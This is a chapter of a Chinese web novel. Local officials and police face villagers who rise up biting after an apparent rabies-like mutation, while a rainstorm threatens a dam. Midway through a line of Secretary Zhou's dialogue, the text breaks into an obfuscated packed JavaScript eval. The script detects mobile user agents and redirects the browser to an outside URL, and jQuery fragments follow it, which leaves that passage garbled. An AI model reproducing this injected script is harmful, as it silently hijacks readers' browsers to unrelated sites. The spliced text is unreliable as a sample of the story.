从车辆后备箱里拿出防暴叉的陈云皓和心中发急护士范小秋快步跟上,两人只是迟了一分钟不到,他们俩从大会议室门外走向办公室的时候,刚好和副所长们擦肩而过。
然后一个呼吸间,警察们在滂沱大雨中与村民们嘶吼抓扯,镇干部们在房间里拖拽撕咬医生的村干部,惨叫连连。
陈云皓拿着防暴叉的手微微发抖,脑袋里一阵阵响起嗡鸣,他条件反射地单手拿起手机点击录制视频,身边的护士姐姐颤巍巍却指向了大会议室里。
透过那扇开着的大门,地上几十个横七竖八的村民躯体如被电击一般抽搐,然后以诡异的姿势站了起来。
“丧…丧尸…”
陈云皓瞳孔收缩,心率拉满,肾上腺素拉满,浑身战栗。
作为医护人员,范小秋对这种灵异恐怖片般的场景更敏感,她尖叫一声:
“诈尸啊!”
没有一丝丝犹豫,范小秋拔腿就跑!
白色的身影扎入漆黑的雨夜,径直奔向最靠近道路的急救车。
陈云皓大脑一片空白,转身跟着跑。
溃逃是极具传染性的,几个警察本来还在苦苦支撑,这一男一女尖叫着从身边跑过,后面是抽搐着站起来开始嘶吼追逐的几十个村民,警察们个个大脑宕机,想也不想地拉起倒地的副所长跟着开跑。
陈云皓跑出操场,突然想起来自己的同事们还在里面,他脑袋里全是乱麻,根本来不及思考,就那么又折返跑了回去,从院坝另一侧冲向办公室,绝望大吼:
“是丧尸啊,快跑啊!李大爷!罗叔叔!章大哥!快跑啊!”
然而那里已经乱成一团,血肉横飞。
陈云皓的眼中不知是泪水还是雨水,那一瞬间他想了很多,看过的丧尸电影电视剧、打过的丧尸游戏、刷过的丧尸小说在脑袋里烟花一般地爆开,各种被咬就变异的桥段反复闪现。
他曾经无数次在看到某些桥段的时候吐槽配角们的愚蠢,他曾经在网上侃侃而谈丧尸世界里一定要够狠够果决,什么乱世先杀圣母,够狠才能生存……
可是,可是,这说不定只是变异了的狂犬病呢?
他一个人,黑夜大雨,人生地不熟,往哪跑?
他能一个人回去吗?就算他一个人回去,怎么跟镇上的同事们交代?
陈云皓把手机往兜里一揣,咬着牙冲进去,用手里的防爆棍推开最近的伏在李大爷身上撕咬的人……
*
陈云皓的手机一直录着视频,随着往雨衣兜塞的动作,那段视频结束录制,并随着陈云皓奋力救人的动作,衣物摩擦触及到他那没来得及熄屏、防水性能一流的手机屏幕。
录制结束的视频——被点开了分享——被分享到了微信——最近查看过的工作群里。
镇政府值班室,值班人员涂明潇点开了工作群群消息,看到一个40多秒的视频。
外出下村人员有拍照片和视频发在工作群里的习惯,涂明潇是党政办的工作人员,她想也没想就点开视频,瞬间被画面冲击得浑身僵硬。
嘭!随着雷电炸开,值班室停电。
一起值班的古丽莉嘀嘀咕咕地说着什么,伸头往僵站的涂明潇手机上看去。
片刻后,两个女孩和视频中画面外的陈云皓同步尖叫:“卧槽啊啊啊啊——好像丧尸啊!——”
*
镇书记办公室中,周书记的手机传出机械的女声:
“您好,您拨打的电话暂时无法接通,请稍后再拨……”
陈云皓的电话打不通,情况不明。
派出所副所长的电话也打不通,情况不明。
周书记闭上眼睛,给自己几秒钟的思考时间。
无数种猜测在脑海里交织,暴乱?不对,咱们镇一向干群关系和谐;
大规模中毒?这踏水村没有重工业也没有在建项目,今晚才聚在一起的村民也没有集中用餐,集体中毒可能性不大;
被咬的黄书记,半小时左右,也开始咬人……狂犬病变异?!
咚咚咚咚,除了值班室的两个女孩外,其余镇干部全部往书记办公室跑来,乌泱泱地挤在办公室外,个个都紧张得很。
章副镇长带人出发去踏水村的时候,周书记已经让其他村社区的镇干部们都回镇政府来待命了。
此时,大部分人都已经回镇政府集合,。
周书记睁开发红的双眼,深呼吸一口气,压到丹田里。
他现在是全镇的主心骨,必须沉着冷静,尽自己最大的能力保障全镇群众的安危。
他不能有任何的迟疑,混乱,纠结,以及害怕。
周书记开始发号施令:
“黄书记自第一次拨打电话到视频中的情况,差不多为34分钟。按现有情况推断,初步考虑为狂犬病毒变异。”
“肖主任,打电话给邓镇长,让他们不要进入村公所,在外围停车查看,视具体情况接应派出所的同志们。同时告知群内人员,视频严禁外传!严禁发布不当言论!”
镇工作群里除了有镇干部,还有各村社区的干部网格员,此刻大家都在微信群里询问什么情况。
“王副书记,你迅速和政法委联系,请县委县政府安排特警武警支援;同步打开物资储备库,先把医药类的东西搬到政府来。”
“林副书记,你负责立即拟稿短信息,五十字内,向县委办、县政府办、县应急指挥部报告初步情况。”
“侯副镇长,你把视频转发上级卫健部门;卫健工作人员立即清理准备几间隔离室,同步整理狂犬病防疫相关知识发全镇各村组群内。”
“朱组织员,通知各村社区,注意各避险安置点的人员健康情况,马上询问是否有近期被动物咬伤抓伤的情况,有异样的单独一个房间;同时对接宣传口,做好舆情管控,不要引发谣言恐慌。”
被点到的人立即带着自己的下属离开。
剩下的人里,镇中心网格员余圆梦举手道,“周书记,刚刚打雷可能把信号基站弄坏了,我们无法通过‘雪亮工程’的摄像头查看村公所及周边道路的情况……”
屋漏偏逢连夜雨,应急突发事件最怕通信不畅,周书记轻轻吸了一口气:
“赵主席,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122955|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
联系辖区内的通讯基站工作人员,尽量保障通讯稳定……”
话没说完,天上霹雳啪啦地连打几个雷。
看样子,就算工作人员挂在基站上,也不一定能保证通讯稳定。
周书记顿了一下,继续安排:
“魏部长,集合镇干部中的退役退伍军人,打开武装部的器材库,分发对讲机和防暴武器……把森林防灭火的巡视无人机带上,即刻前往踏水村公所。到之后先找邓镇长,大家不要轻易下车,就近先让无人机看看情况。”
魏诗书长得瘦瘦矮矮,虽然任职是武装部部长兼副镇长,可他是正儿八经从县委办提职出来的文职干部,刚下基层不到一年,属于文字材料上的王者,体能战术上的弱鸡。
周书记看了眼一脸严肃的、年轻的、瘦弱的、没有入伍经历的、戴着金丝眼镜的镇武装部部长魏诗书,补充到:“老毛,你和魏部长一起去。”
老毛是退居二线的前任武装部部长,高大、威猛、肌肉发达、有入伍经历、常年民兵训练老班长,五十多岁了每天能从家里慢跑十多公里来上班,是十多年前从村干部里选出来的副镇长,属于文字材料上的弱鸡,□□体能上的王者。
这两人站一起,典型的文官vs武将,周书记悬着的心稍微往下放了一些。
人群中有入伍经历的6男1女走了出来,跟着魏诗书和老毛下楼。
剩下的人里,防汛办的工作人员也举手,声音有点小:
“周书记,暴雨还在继续,上游水电站持续泄洪,水流量已经超过电站泄洪标准,预计20分钟内洪水要翻过大坝,此刻大坝道路已封闭……”
交管办的工作人员跟着举手,声音更小:“国道塌方了好几处,大坝道路封闭,县城第一批出来的救护车队伍卡在半路上,需要派熟悉地形的村干部去带他们走小路,总之救援部队短时间怕是上不来……”
周书记木着脸,端起茶杯猛灌几口浓茶,再点了一根烟猛吸两口,才用沉稳的声音回答:
“所有工作人员都回到自己的工作岗位,同上级部门保持联系。应急办的,先把镇政府的临时发电装置弄好;综治办的,去把场镇上超市的老板都喊起来,随时准备征用物资。”
“办公室的过来,今夜洪水必定要翻坝了,把应急预案拿出来,我要开始准备安排明天的救灾事宜。”
听说书记都要安排明天的事儿了,大家心里也稳下心,个个都回自己的岗位去开启通宵加班。
镇干部的小群里,再次猛刷一波绝望不了等待天明咖啡不苦命苦的表情包。相比之前群内凝重的沉寂,此刻大家反而放松了许多。
其实,加班什么的,只要能解决问题,都行。
等大家离开之后,周书记才狠狠地搓了一把脸。
现在,除了这个疑似狂犬病变异的疫情,还有红色防汛防地灾压力,□□雨容易导致山体垮塌和泥石流,通讯随时可能中断……
他在内心默念:冷静,县里已经得到消息,按流程不出两小时,省市应急值班的都会得到消息。只要今夜平稳,明天各部门的支援都会到!